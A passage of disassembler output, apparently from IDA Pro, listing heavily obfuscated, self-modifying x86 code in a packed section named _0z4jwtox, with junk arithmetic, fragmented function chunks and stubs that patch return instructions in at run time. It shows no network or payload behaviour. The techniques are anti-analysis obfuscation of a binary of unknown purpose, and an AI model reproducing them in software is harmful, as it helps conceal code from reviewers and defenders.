sub_752DF2 loc_755C8F: ; CODE XREF: sub_752DF2-4A10j and ecx, 1DEB58F7h loc_755C95: ; CODE XREF: sub_752DF2:loc_746EF0j push 65CFA566h rol eax, 1Ch jmp loc_745458 ; END OF FUNCTION CHUNK FOR sub_752DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7578F4 loc_755CA2: ; CODE XREF: sub_7578F4+16j push eax jmp loc_74B9C5 ; END OF FUNCTION CHUNK FOR sub_7578F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DF5E loc_755CA8: ; CODE XREF: sub_74DF5E-7009j add esp, 8 push offset loc_753CA6 jmp loc_747157 ; END OF FUNCTION CHUNK FOR sub_74DF5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750F2E loc_755CB5: ; CODE XREF: sub_750F2E:loc_756E49j or eax, 0F0A636FFh rol eax, 14h and eax, 449F4A46h add eax, 0DD74EC3Ch loc_755CCA: ; CODE XREF: sub_756826:loc_7475BDj push offset sub_755C38 jmp loc_75432C ; END OF FUNCTION CHUNK FOR sub_750F2E ; --------------------------------------------------------------------------- mov ecx, 0AAC67271h and edi, ecx jmp sub_74CA64 ; --------------------------------------------------------------------------- loc_755CE0: ; CODE XREF: _0z4jwtox:0074DE50j jnb loc_74BC32 ; =============== S U B R O U T I N E ======================================= sub_755CE6 proc near ; CODE XREF: sub_7561ABp xchg esi, [esp+0] pop esi call sub_756158 jmp ds:off_41F0A0 sub_755CE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub edi, ebx jmp loc_74FEAC ; =============== S U B R O U T I N E ======================================= sub_755CFC proc near ; CODE XREF: sub_74B719+CB9p ; FUNCTION CHUNK AT 007487D4 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074B6D7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0075334B SIZE 00000005 BYTES xchg eax, [esp+0] pop eax setz al call sub_7452F3 loc_755D08: ; CODE XREF: sub_7543C5:loc_74F9D3j jmp loc_7487D4 sub_755CFC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B719 loc_755D0D: ; CODE XREF: sub_74B719:loc_7487BAj mov eax, [ebp+8] jmp loc_749B3A ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- loc_755D15: ; DATA XREF: sub_746ED2+6EB8o sub edx, eax push 0B8EA4FAAh pop ecx and ecx, 98FACF94h or ecx, 0EAD4F97Ah sub ecx, 87C8B362h add ecx, 0F1439990h add ecx, ebp jmp loc_755FBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_755D3C: ; CODE XREF: sub_74E451:loc_757591j xor edx, ebx xor esi, 2F091650h jmp loc_753040 ; END OF FUNCTION CHUNK FOR sub_74E451 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_286. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov [edx], ecx jmp loc_755DE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_755D51: ; CODE XREF: sub_74BFE0+62EFj cmp al, 0A4h jz loc_750C41 jmp loc_74EFDA ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- loc_755D5E: ; CODE XREF: _0z4jwtox:007495EBj call sub_746E93 push edx push 0C82B1006h pop edx jmp loc_74C831 ; --------------------------------------------------------------------------- push 0DE85E974h jmp loc_74613F ; --------------------------------------------------------------------------- loc_755D79: ; CODE XREF: _0z4jwtox:007466B6j adc ecx, ebx popf jmp sub_7559F0 ; --------------------------------------------------------------------------- loc_755D81: ; CODE XREF: _0z4jwtox:0074BD42j xchg eax, [esp] jmp loc_74FA9C ; --------------------------------------------------------------------------- locret_755D89: ; CODE XREF: _0z4jwtox:loc_7503CEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_755D8A: ; CODE XREF: sub_750638+32E3j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_755314 jmp loc_7493BD ; END OF FUNCTION CHUNK FOR sub_750638 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514BF loc_755D9F: ; CODE XREF: sub_7514BF-6801j jmp loc_748482 ; END OF FUNCTION CHUNK FOR sub_7514BF ; =============== S U B R O U T I N E ======================================= sub_755DA4 proc near ; CODE XREF: sub_74BD26:loc_74AD87p ; _0z4jwtox:00755268j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074808E SIZE 00000008 BYTES xchg eax, [esp+0] pop eax pop edx mov eax, [esp+0] jmp loc_74808E sub_755DA4 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_755DB2: ; CODE XREF: _0z4jwtox:0074EC90j jmp loc_7534E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_755DB7: ; CODE XREF: sub_74CF35:loc_752052j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_7573A4 jmp loc_746183 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- loc_755DCB: ; DATA XREF: sub_75247E+A7Do mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx push eax call sub_747622 loc_755DDA: ; CODE XREF: _0z4jwtox:00751365j jmp loc_74AB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529BD loc_755DDF: ; CODE XREF: sub_7529BD-46BAj jmp loc_749339 ; END OF FUNCTION CHUNK FOR sub_7529BD ; --------------------------------------------------------------------------- loc_755DE4: ; CODE XREF: _0z4jwtox:00755D4Cj not edx ; =============== S U B R O U T I N E ======================================= sub_755DE6 proc near ; CODE XREF: _0z4jwtox:00749ACCp xchg ecx, [esp+0] pop ecx add edx, ebp add edx, 98ECAF58h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_7543D4 sub_755DE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_755DFD: ; DATA XREF: sub_749B76+8F3Ao push 44BDE9C0h pop eax add eax, 0A2D6818Bh or eax, 9C10AF8Eh rol eax, 19h test eax, 800000h jmp loc_74D050 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_755E1D: ; CODE XREF: sub_746640+3B79j adc edx, [esp+arg_0] jo loc_75365B call sub_74C1D8 and esi, ebp jmp loc_74BA02 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_755E33: ; CODE XREF: sub_756826+7EFj add ebx, 730A08B3h test edx, eax jmp loc_7475BD ; END OF FUNCTION CHUNK FOR sub_756826 ; =============== S U B R O U T I N E ======================================= sub_755E40 proc near ; CODE XREF: sub_7514D2+8p ; _0z4jwtox:00753104j ; FUNCTION CHUNK AT 007485FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748788 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748A06 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007496A2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074EA7F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00754828 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00756656 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757098 SIZE 0000000F BYTES xchg esi, [esp+0] pop esi mov [ecx], eax call sub_747C39 loc_755E4B: ; CODE XREF: sub_747A94+E31j jmp loc_754828 sub_755E40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor eax, 0B4744145h rol eax, 1Dh push edx push offset sub_750D35 jmp locret_74CA90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753F8B loc_755E64: ; CODE XREF: sub_753F8B:loc_75719Cj jl loc_74CE20 ror esi, 0Bh jmp loc_74CE1A ; END OF FUNCTION CHUNK FOR sub_753F8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_755E72: ; CODE XREF: sub_74D23E-16A0j ; _0z4jwtox:0074F7EAj ja loc_74EBA2 ; END OF FUNCTION CHUNK FOR sub_74D23E ; =============== S U B R O U T I N E ======================================= sub_755E78 proc near ; CODE XREF: sub_7473D1-221Ap ; FUNCTION CHUNK AT 00745969 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax pop ebx lea eax, loc_745969 mov byte ptr [eax], 0C3h jmp loc_745969 sub_755E78 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_755E8B: ; CODE XREF: _0z4jwtox:loc_74697Fj mov eax, [esp] push eax jmp loc_74B6FA ; --------------------------------------------------------------------------- locret_755E94: ; CODE XREF: _0z4jwtox:0074B440j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745697 loc_755E95: ; CODE XREF: sub_745697:loc_74E4D6j add eax, 0D09573B6h xchg eax, [esp-4+arg_0] jmp sub_74FACE ; END OF FUNCTION CHUNK FOR sub_745697 ; --------------------------------------------------------------------------- mov eax, 0B4F3C01h push ecx push 0C409A845h jmp loc_75357C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_755EB3: ; CODE XREF: sub_74724C+1D43j jg loc_754F92 ; END OF FUNCTION CHUNK FOR sub_74724C ; START OF FUNCTION CHUNK FOR sub_750C2D loc_755EB9: ; CODE XREF: sub_750C2D-3366j or eax, 1E3F4AB9h jnz loc_746108 cdq jmp loc_7565BE ; END OF FUNCTION CHUNK FOR sub_750C2D ; --------------------------------------------------------------------------- loc_755ECB: ; CODE XREF: _0z4jwtox:0074A6C6j and eax, ecx ; =============== S U B R O U T I N E ======================================= sub_755ECD proc near ; CODE XREF: sub_752D11-9CE9p xchg eax, [esp+0] pop eax xor eax, eax mov [ebp-10h], eax push offset sub_752C44 jmp nullsub_169 sub_755ECD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_755EE0: ; CODE XREF: sub_748FA4:loc_745BB8j mov [ecx], edx shr ebp, 14h jnp loc_753697 loc_755EEB: ; CODE XREF: sub_75275A:loc_74725Cj ; sub_7501AF:loc_74795Dj ... jmp loc_7571B2 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_755EF0: ; CODE XREF: sub_75275A-5924j ; sub_7501AF+Aj pop ecx xchg ebx, [esp-8+arg_4] jmp loc_74587C ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- loc_755EF9: ; CODE XREF: _0z4jwtox:loc_7539D0j imul byte ptr [edx] cmp al, 0A4h jz loc_74A39E jmp loc_74EF41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_755F08: ; CODE XREF: sub_74A71A:loc_749DA9j mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_75231D loc_755F15: ; CODE XREF: sub_74FAD6:loc_749915j ; _0z4jwtox:00752317j jnz loc_749B0B cmp dword ptr [ebp-1Ch], 0Fh jnz loc_748FD6 mov eax, [ebp-1Ch] jmp loc_74EDB2 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF0C loc_755F2D: ; CODE XREF: sub_74CF0C+5j jmp ds:off_41F14C ; END OF FUNCTION CHUNK FOR sub_74CF0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_755F33: ; CODE XREF: sub_747AEC+EECCj jmp loc_756E0A ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_755F38: ; CODE XREF: _0z4jwtox:0074FCE4j jmp sub_748C0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_755F3D: ; CODE XREF: sub_750638-6542j jmp loc_74E329 ; END OF FUNCTION CHUNK FOR sub_750638 ; =============== S U B R O U T I N E ======================================= sub_755F42 proc near ; CODE XREF: sub_755F42-10689j ; sub_74CF0Cp ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007458B0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00749A77 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074C3FC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074DFA8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00752000 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007524F1 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0075361B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753A72 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007542D3 SIZE 00000014 BYTES jno loc_7542D3 xchg ebp, [esp+0] mov edx, ebp pop ebp push offset sub_754A60 jmp loc_75361B sub_755F42 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_755F58: ; CODE XREF: sub_74A7D8+7DEAj sbb ecx, edi loc_755F5A: ; CODE XREF: sub_7564A7:loc_7525B2j xor esi, 5E85470Bh sub esi, 65C40613h test esi, 1000000h jmp loc_754AA6 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_755F71 proc near ; CODE XREF: sub_74ACFA:loc_74F786j retn sub_755F71 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_755F72: ; CODE XREF: sub_7490F6-1B5Fj jmp loc_755398 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; =============== S U B R O U T I N E ======================================= sub_755F77 proc near ; CODE XREF: _0z4jwtox:0074BBC4j ; sub_756691-2E85p ; FUNCTION CHUNK AT 0074B73B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750D19 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00755562 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push ecx push 59F1B4D7h pop ecx sub ecx, 1FA4DA2Eh xor ecx, 0F75BED7Eh jmp loc_74B73B sub_755F77 endp ; --------------------------------------------------------------------------- sbb esi, 2AD01883h jmp loc_7577DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570B1 loc_755F9E: ; CODE XREF: sub_7570B1+3j push ecx push edx push 8C45D23Ah pop edx rol edx, 0Bh add edx, 98149914h cmp edx, 0E1454756h jmp loc_75704E ; END OF FUNCTION CHUNK FOR sub_7570B1 ; --------------------------------------------------------------------------- loc_755FBA: ; CODE XREF: _0z4jwtox:00755D37j add ecx, 9B8619D4h mov ecx, [ecx] pushf push 5CF6DB25h pop eax jmp loc_74FCAB ; --------------------------------------------------------------------------- pushf mov edx, ecx jmp sub_74DE55 ; =============== S U B R O U T I N E ======================================= sub_755FD6 proc near ; CODE XREF: _0z4jwtox:00747F6Aj ; sub_74BE8E+3p xchg esi, [esp+0] pop esi add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 jmp loc_752E9A sub_755FD6 endp ; --------------------------------------------------------------------------- loc_755FE9: ; CODE XREF: _0z4jwtox:007465CCj and esi, 61735D6Dh and ebp, 6F6E521Ah jmp loc_7494F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_755FFA: ; CODE XREF: sub_7572F3+4j sub al, 99h mov edx, [ebp-4] jmp loc_74D40E ; END OF FUNCTION CHUNK FOR sub_7572F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_756004: ; CODE XREF: sub_74FE55-EFDj jo loc_74A9B1 ror ebx, 10h loc_75600D: ; CODE XREF: sub_74FE55:loc_74771Bj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_75685B ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_756018: ; CODE XREF: sub_753FCE:loc_746E56j mov ecx, [eax] jmp loc_7472EE ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- loc_75601F: ; CODE XREF: _0z4jwtox:00746F2Dj jo loc_75381F not eax sbb edx, ebp and eax, ebx loc_75602B: ; CODE XREF: _0z4jwtox:loc_746F20j add eax, 0E665AA0Fh call sub_746E93 push esi jmp loc_74F49C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_75603C: ; CODE XREF: sub_75143A:loc_755C06j xchg eax, [esp+8+var_8] jmp sub_754FC6 ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- locret_756044: ; CODE XREF: _0z4jwtox:loc_75035Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DFF3 loc_756045: ; CODE XREF: sub_74DFF3+826Cj jmp loc_7548ED ; END OF FUNCTION CHUNK FOR sub_74DFF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_75604A: ; CODE XREF: sub_748B52:loc_748F4Bj jnz loc_7576E4 or ecx, ebp xchg ecx, ebp jmp loc_7576E4 ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- loc_756059: ; CODE XREF: _0z4jwtox:00748EE4j jns loc_7452F9 xchg eax, [ecx] loc_756061: ; CODE XREF: _0z4jwtox:loc_748EBDj rol ebx, 17h add ebx, 0F264EB76h jmp loc_747025 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_284. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7510EA loc_756070: ; CODE XREF: sub_7510EA+2946j jmp loc_747D6E ; END OF FUNCTION CHUNK FOR sub_7510EA ; --------------------------------------------------------------------------- loc_756075: ; CODE XREF: _0z4jwtox:0074680Ej jmp loc_755092 ; --------------------------------------------------------------------------- jl loc_74C60E jmp sub_74B091 ; --------------------------------------------------------------------------- loc_756085: ; DATA XREF: sub_747003+12o push 4AF1AD31h ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_75608A: ; CODE XREF: sub_74D1F3-13CDj pop esi rol esi, 1Ah xor esi, 0DE6C4050h add esi, 0E4B8992Ch jmp loc_74671F ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; =============== S U B R O U T I N E ======================================= sub_75609F proc near ; CODE XREF: sub_74D4D3-7F10p ; _0z4jwtox:0074E2F8j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007464B7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748F5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A391 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074CD72 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074E57A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007507EB SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg esi, [esp-4+arg_0] mov ebx, esi loc_7560A8: ; CODE XREF: sub_74A7D8:loc_74CF16j pop esi sub ebx, 0E8A536Fh jmp loc_7464B7 sub_75609F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74985C loc_7560B4: ; CODE XREF: sub_74985C+A638j jz loc_745F4F jmp loc_751545 ; END OF FUNCTION CHUNK FOR sub_74985C ; --------------------------------------------------------------------------- pushf rol edi, 2 jmp sub_752149 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7565EF loc_7560C9: ; CODE XREF: _0z4jwtox:0074A101j ; sub_7565EF+8j mov ebx, edx xchg ebx, [esp+0] call sub_74BACE ; END OF FUNCTION CHUNK FOR sub_7565EF ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7560D3: ; CODE XREF: sub_747C22:loc_75234Aj jmp loc_748271 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7484F5 loc_7560D8: ; CODE XREF: sub_7484F5+5C87j jmp nullsub_176 ; END OF FUNCTION CHUNK FOR sub_7484F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_7560DE: ; CODE XREF: sub_74673E+277Aj jmp nullsub_177 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_7560E3: ; CODE XREF: sub_74A3AB+1j mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp push ecx push edx push 6E5A7D16h pop edx xor edx, 34437405h jmp loc_749A0D ; END OF FUNCTION CHUNK FOR sub_74A3AB ; =============== S U B R O U T I N E ======================================= sub_7560FD proc near ; CODE XREF: _0z4jwtox:0074D5C9j ; _0z4jwtox:00755749p xchg edx, [esp+0] pop edx call sub_746E93 push edx push 90DC66Ch pop edx sub_7560FD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_747736 loc_75610D: ; CODE XREF: sub_747736:loc_75036Ej xor edx, 513C2293h jmp loc_745A1F ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- loc_756118: ; CODE XREF: _0z4jwtox:loc_753642j jnz loc_74646A jmp loc_752607 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_756123 proc near ; CODE XREF: sub_745BF7+9DFDp ; sub_745BF7:loc_755873p push ebp mov ebp, esp mov esp, ebp push offset sub_751078 jmp nullsub_179 sub_756123 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7535F0 loc_756132: ; CODE XREF: sub_7535F0+7j mov eax, [esp+4+var_4] push edx call sub_750C4E mov eax, 2DC123E0h call sub_746E93 loc_756145: ; CODE XREF: sub_7572F3:loc_7546F3j push edi jmp loc_75456C ; END OF FUNCTION CHUNK FOR sub_7535F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_75614B: ; CODE XREF: sub_747AEC+9B19j add esi, ebx jnz loc_7484D8 loc_756153: ; CODE XREF: sub_74C4BB:loc_74EE6Dj jmp loc_75122E ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_756158 proc near ; CODE XREF: sub_74C8DA:loc_74ABB7j ; sub_7543C5:loc_750167j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00754D93 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00756A46 SIZE 0000000A BYTES pop edx jnb loc_756A46 push offset loc_756AF7 jmp locret_7497CF sub_756158 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_756169: ; CODE XREF: _0z4jwtox:007466BCj sbb esi, eax sub edx, 74D62D77h ; START OF FUNCTION CHUNK FOR sub_748357 loc_756171: ; CODE XREF: sub_748357-1CAEj xor eax, 0D4EC19BCh call sub_746E93 mov ds:dword_41F16C, eax lea eax, nullsub_265 mov byte ptr [eax], 0C3h jmp nullsub_265 ; END OF FUNCTION CHUNK FOR sub_748357 ; --------------------------------------------------------------------------- sbb ecx, edi jmp loc_748D33 ; --------------------------------------------------------------------------- mov ds:off_41F09C, eax lea eax, sub_74C0A0 mov byte ptr [eax], 0C3h jmp loc_74D5B4 ; =============== S U B R O U T I N E ======================================= sub_7561AB proc near ; CODE XREF: sub_406782+77p ; sub_755CE6+9j ; DATA XREF: ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007455A6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00745AFA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00745D57 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00749F07 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074A50D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074AC92 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074B33A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0074D269 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D9C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074DA83 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074DB46 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074E308 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074EE22 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074EECC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00750CF9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00750FA8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00751ECF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00751F42 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00752765 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00752FF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753CD0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753F6A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 007544D8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075648C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756E4E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007574C3 SIZE 00000005 BYTES call sub_755CE6 loc_7561B0: ; CODE XREF: sub_7561AB-7372j jmp loc_745AFA sub_7561AB endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ds:dword_41F144, eax lea eax, nullsub_12 mov byte ptr [eax], 0C3h jmp nullsub_12 ; --------------------------------------------------------------------------- loc_7561C9: ; CODE XREF: _0z4jwtox:0074BB77j call sub_74DDDA ; START OF FUNCTION CHUNK FOR sub_748BBE loc_7561CE: ; CODE XREF: sub_748BBE+7AADj jmp loc_755204 ; END OF FUNCTION CHUNK FOR sub_748BBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754175 loc_7561D3: ; CODE XREF: _0z4jwtox:0074FB49j ; sub_754175+Cj xchg ebx, [esp-4+arg_0] mov eax, ebx pop ebx or eax, 9FBD5AD0h sub eax, 7445A6E6h jmp loc_753B98 ; END OF FUNCTION CHUNK FOR sub_754175 ; --------------------------------------------------------------------------- loc_7561EA: ; CODE XREF: _0z4jwtox:00756FC6j jno loc_74C954 xchg ecx, esi ; =============== S U B R O U T I N E ======================================= sub_7561F2 proc near ; CODE XREF: _0z4jwtox:00746883p xchg edx, [esp+0] pop edx mov ds:off_41F04C, eax lea eax, sub_748BB8 call sub_74CB0C loc_756207: ; CODE XREF: _0z4jwtox:loc_74CB89j mov ds:dword_41F190, eax lea eax, nullsub_11 mov byte ptr [eax], 0C3h jmp nullsub_11 sub_7561F2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A3AC loc_75621B: ; CODE XREF: sub_41A3AC+1Aj ; sub_41A3AC+33BE74j ; DATA XREF: ... call sub_75622B jmp ds:off_41F194 ; END OF FUNCTION CHUNK FOR sub_41A3AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_756226: ; CODE XREF: sub_74AE46+7EF7j jmp loc_754465 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; =============== S U B R O U T I N E ======================================= sub_75622B proc near ; CODE XREF: sub_745A78:loc_7523D4j ; sub_75622B:loc_753E3Bj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745CF5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00747F6F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074864C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00749924 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E616 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F2E5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007526DD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00753A6D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753E36 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00755640 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0075645F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 007571D6 SIZE 0000000A BYTES jnz loc_7571D6 jmp loc_753E36 sub_75622B endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_756236: ; CODE XREF: _0z4jwtox:00756C9Ej retn ; --------------------------------------------------------------------------- loc_756237: ; CODE XREF: _0z4jwtox:0074E642j jmp locret_749B6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_75623C: ; CODE XREF: sub_74C2C9-5D7Fj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- loc_756241: ; CODE XREF: _0z4jwtox:loc_74D007j add eax, 54D99786h mov eax, [eax] popf call sub_74CF35 ; START OF FUNCTION CHUNK FOR sub_74DFF3 loc_75624F: ; CODE XREF: sub_74DFF3:loc_74940Dj xchg ebp, [esp+0] push eax push 0EA16B373h pop eax or eax, 0EFF126EDh jmp loc_756045 ; END OF FUNCTION CHUNK FOR sub_74DFF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F1FE loc_756264: ; CODE XREF: sub_74F1FE:loc_752EE8j jge loc_74C16B ; END OF FUNCTION CHUNK 